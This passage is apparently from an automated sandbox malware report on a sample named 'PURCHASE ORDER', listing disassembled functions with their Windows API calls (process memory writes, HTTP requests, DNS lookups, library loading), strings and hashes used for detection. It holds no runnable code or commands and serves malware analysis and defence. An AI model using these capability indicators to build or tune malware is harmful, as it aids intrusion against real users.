                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$ClearCopyInit_malloc
                                                                          • String ID: 4RH
                                                                          • API String ID: 2981388473-749298218
                                                                          • Opcode ID: 4f5dbf7d09d6609eea61bad343ccdb5a393d5a012301d28101c94dc94e671a2c
                                                                          • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                          • Opcode Fuzzy Hash: 4f5dbf7d09d6609eea61bad343ccdb5a393d5a012301d28101c94dc94e671a2c
                                                                          • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                          Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                            • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                          • __wcsnicmp.LIBCMT ref: 0046681A
                                                                          • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                          • String ID: LPT$HH
                                                                          • API String ID: 3035604524-2728063697
                                                                          • Opcode ID: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                          • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                          • Opcode Fuzzy Hash: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                          • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                          Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                          • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                            • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                          • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                          • String ID: @
                                                                          • API String ID: 4055202900-2766056989
                                                                          • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                          • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                          • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                          • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                          Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: CrackInternet_memset_wcslen
                                                                          • String ID: |
                                                                          • API String ID: 915713708-2343686810
                                                                          • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                          • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                          • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                          • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                          Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                          • HttpQueryInfoW.WININET ref: 0044A892
                                                                            • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                          • String ID:
                                                                          • API String ID: 3705125965-3916222277
                                                                          • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                          • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                          • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                          • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                          Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                          • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Long
                                                                          • String ID: SysTreeView32
                                                                          • API String ID: 847901565-1698111956
                                                                          • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                          • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                          • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                          • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                          Function 00437CA6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                          • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                          • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Library$AddressFreeLoadProc
                                                                          • String ID: AU3_GetPluginDetails
                                                                          • API String ID: 145871493-4132174516
                                                                          • Opcode ID: 243c63b0a1642fd37fbdc6bb7a016f54d23cec52ba8901b0b69bd5fd37109442
                                                                          • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                          • Opcode Fuzzy Hash: 243c63b0a1642fd37fbdc6bb7a016f54d23cec52ba8901b0b69bd5fd37109442
                                                                          • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                          Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: DestroyWindow
                                                                          • String ID: msctls_updown32
                                                                          • API String ID: 3375834691-2298589950
                                                                          • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                          • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                          • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                          • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                          Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                          • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                          • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$MoveWindow
                                                                          • String ID: Listbox
                                                                          • API String ID: 3315199576-2633736733
                                                                          • Opcode ID: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                          • Instruction ID: bfe1e9b3800f224edd0053b2d0d87a77da448e7bf5b17050dc61905274d7532a
                                                                          • Opcode Fuzzy Hash: ec94c338bdc408a6213732be15a93177a4dce0f95fa1299e59073e0341a0244e
                                                                          • Instruction Fuzzy Hash: E421D3712043047BE6209A65DC81F6BB3E8EBCD735F104B1EFA60A72D1C675EC458729
                                                                          Function 0045D235 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D243
                                                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D2C7
                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D30C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$InformationVolume
                                                                          • String ID: HH
                                                                          • API String ID: 2507767853-2761332787
                                                                          • Opcode ID: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                          • Instruction ID: 4a708fd112bc3492f79fb502a293ca5b83a6a9b53d4ab80d782c21126568c1ab
                                                                          • Opcode Fuzzy Hash: 10a78899cac0a24ca5bd241ff5c46140465ea67f957306f93882c0fc43b3d187
                                                                          • Instruction Fuzzy Hash: 622148756083019FC310EF55D944A6BB7E4FF88704F40882EFA45972A2D774E909CB5A
                                                                          Function 0045D42B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D44A
                                                                          • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D4CE
                                                                          • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D502
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorMode$InformationVolume
                                                                          • String ID: HH
                                                                          • API String ID: 2507767853-2761332787
                                                                          • Opcode ID: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                          • Instruction ID: 8e4373afe1f51974a95c06a3ae407364d3098df30383bdf5f9e51316f0e0b5c8
                                                                          • Opcode Fuzzy Hash: a403ffe69dae12f4374470e721856d745e9457d8bcd1b2c0f65575075c8e6c3b
                                                                          • Instruction Fuzzy Hash: 902137756083019FC314EF55D944A5AB7E8FF88710F40882EFA49972A2D778E909CB9A
                                                                          Function 00450D00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00450D74
                                                                          • SendMessageW.USER32(00000000,00000406,00000000,00640000), ref: 00450D8A
                                                                          • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00450D98
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend
                                                                          • String ID: msctls_trackbar32
                                                                          • API String ID: 3850602802-1010561917
                                                                          • Opcode ID: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                          • Instruction ID: c83169f0c5ec68c29a3e9aa847b4a28030a04f73c00385235601d1c9d4ce90e2
                                                                          • Opcode Fuzzy Hash: e14717e3cb06623c4553287ca90ea840a6fcf4d017620d4062bb11778db8dfcd
                                                                          • Instruction Fuzzy Hash: 4F1193717403117BE610CAA8DC81F5B73E8AB98B25F204A1AFA50A72C1D2B4FC458B68
                                                                          Function 0046BD4D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                          • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046BD78
                                                                          • WSAGetLastError.WSOCK32(00000000,?,?,00000000,?,?), ref: 0046BD83
                                                                          • inet_ntoa.WSOCK32(00000000,?), ref: 0046BDCD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ByteCharErrorLastMultiWidegethostbynameinet_ntoa
                                                                          • String ID: HH
                                                                          • API String ID: 1515696956-2761332787
                                                                          • Opcode ID: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                          • Instruction ID: 2fad99cf3c45da3a785a9a513efbde0c8943f1fdc9598a344110207fd9df59bd
                                                                          • Opcode Fuzzy Hash: 9fa1cc3982deb19834a74a1ffc0ee15940528313d09b960f7f62ca7fb5990435
                                                                          • Instruction Fuzzy Hash: E21142765043006BC744FB66D885D9FB3A8AFC4318F448C2EF945A7242DA39E949876A
                                                                          Function 004497A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • GetMenuItemInfoW.USER32 ref: 004497EA
                                                                          • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00449817
                                                                          • DrawMenuBar.USER32 ref: 00449828
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$InfoItem$Draw_malloc
                                                                          • String ID: 0
                                                                          • API String ID: 772068139-4108050209
                                                                          • Opcode ID: d608b06cc8126a94f8b189079e1e99a50943cf597b9c9b58a32df480197dd29f
                                                                          • Instruction ID: 895394c4ac3d8cdb9511dba433443d5742fa96e32f07ab63668b9f5a94eb31d1
                                                                          • Opcode Fuzzy Hash: d608b06cc8126a94f8b189079e1e99a50943cf597b9c9b58a32df480197dd29f
                                                                          • Instruction Fuzzy Hash: 941182B16042009BF730EB55EC96FABB7A8FB91714F00452EE648CA281DB7A9445CB76
                                                                          Function 004342A8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AllocTask_wcslen
                                                                          • String ID: hkG
                                                                          • API String ID: 2651040394-3610518997
                                                                          • Opcode ID: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                          • Instruction ID: 372044899b15e8c53ead78f1c779643819f92c4817f04f111663958edd7e2adf
                                                                          • Opcode Fuzzy Hash: 13332cee77e5ed885d7d4fc6bfcacd5b22b96a16ce8d99b05f9432ebd764b12e
                                                                          • Instruction Fuzzy Hash: DCE065736442225B97506A79AC045CBA7D8AFB0370B15482BF880E7310E278E89643E5
                                                                          Function 0043416A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0043417A
                                                                          • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0043418C
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                                          • API String ID: 2574300362-1816364905
                                                                          • Opcode ID: 58df7aafb5ba6d6c6a2aff3317d08040102bec91f6a73b36e13bbbd5fede489a
                                                                          • Instruction ID: 1a9860a365f0c849ce8c10f1c40c5c80f9dda93506fd3415c38c98a37cde1a5a
